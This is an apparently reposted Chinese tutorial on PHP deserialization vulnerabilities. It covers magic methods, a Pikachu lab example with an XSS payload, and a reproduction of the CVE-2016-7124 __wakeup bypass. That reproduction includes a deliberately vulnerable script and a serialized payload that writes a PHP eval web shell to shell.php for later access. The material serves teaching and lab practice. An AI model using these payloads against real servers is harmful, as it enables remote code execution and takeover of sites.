什么是序列化与反序列化?
-
序列化:把对象的状态信息转换为可以存储或传输的形式的过程,一般是将对象转换为字节流。在进行序列化时,对象的状态信息会被写入到临时或持久性存储区。(通俗点的说法:序列化即是把对象转换为流的过程,流可以写入存储区中,如硬盘等)
-
反序列化:把序列化产生的流恢复成对象,是与序列化相反的过程
漏洞成因
反序列化漏洞的漏洞成因是基于序列化和反序列化的操作。
这里此以PHP语言为例,在进行反序列化时,若调用的unserialize()函数存在用户可控制的参数,而反序列化执行的过程中又会调用一些魔术方法,如果此时魔术方法内存在一些敏感操作例如eval()函数、***函数(且参数是通过反序列化产生的),那么用户就可以通过改变参数来控制执行敏感操作,这就是反序列化漏洞的成因。
常见魔术方法总结
魔术方法 | 说明 |
---|---|
_construct | 是类的构造函数,每次创建新对象时都会调用这个方法 |
_destruct | 是类的解析函数,解析函数会在某个对象的所有引用被删除或者当对象被显式销毁时执行,通常是脚本结束时执行 |
_toString | 该方法用于一个类被当作字符串时应怎样回应,例如$echop $obj; 应该显示说明,此方法必须返回一个字符串,否则发出一条E_RECOVERABLE_ERROR级别的致命错误 |
_sleep | 该方法在一个对象被序列化之前调用,会返回一个数组,其中包含着要被序列化的属性。它通常用于提交未提交的数据或者类似的清理操作。 |
_wakeup | unserialize() 会检查是否存在一个 _wakeup() 方法,如果存在,反序列化成功后会自动的去调用这个方法,预先准备对象需要的资源,这个方法通常用于初始化操作,如重新建立数据库连接 |
_call | 当对象调用了一个不可访问的方法时,_call() 就会被调用 |
二、反序列化漏洞简单案例
以下以pikachu靶场中一个简单的反序列化漏洞案例来说明:
a. 序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:表示该对象的类名的字节数(即类名长度为1)
S:对象的名称
1:表示该对象有 1 个属性。
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
b. 反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
c. pikachu内反序列化漏洞靶场页面如下:
当我们输入序列化数据
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
此时反序列化函数将输入的序列化数据还原为了对象。
如果攻击者在此输入页面中输入恶意代码,则会被该反序列化函数还原为对象,进行执行。
如结合XSS漏洞,在该输入框内输入:
O:1:"S":1:{s:4:"test";s:30:"<script>alert('haha')</script>";}
则会弹出XSS攻击页面
三、PHP漏洞复现
本次漏洞复现以反序列化漏洞cve_2016_7124()为例
漏洞成因:若在对象的魔术方法中存在wakeup()方法,那么之后再调用unserialize()方法进行反序列化之前则会先调用wakeup()方法,但是反序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过_wakeup()的执行。
攻击步骤:
1、生成序列化字符串(利用脚本生成payload)
<?phpclassA{var $target = "test";}$obj = new A();$s = serialize($obj);var_dump($s);?>
2、使用序列化的字符串
"O:1:"A":1:{s:6:"target";s:4:"test";}" O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名",s:属性值的长度:"属性值";}改写上述序列化字符串,生成payload"O:1:"A":1:{s:6:"target";s:33:"<?php @eval($_POST['hacker']); ?>";}"
3、模拟反序列化漏洞,此处假设利用__wakeup方法过滤恶意代码
<?phpclass A{var $target = 'test';function __wakeup(){$this->target = "wakeup!"; }function __destruct(){$fp = fopen("shell.php","w");fputs($fp,$this->target);fclose($fp); }}$test = $_GET['test'];$test_unseria = unserialize($test);echo "shell.php<br/>";?>
访问上述文件,可以发现写入shell.php文件的内容被__wakeup()函数过滤
O:1:"A":1:{s:6:"target";s:33:"<?php @eval($_POST['hacker']); ?>";}
中“A”后面的1(对象属性个数)改为大于1的数(此处改为30),则会跳过__wakeup方法,直接将padload写入shell.php文件。成功将payload写入文件后,可利用蚁剑,成功获取shell,漏洞复现成功
原文始发于微信公众号(豆豆咨询):PHP反序列号漏洞原理及复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论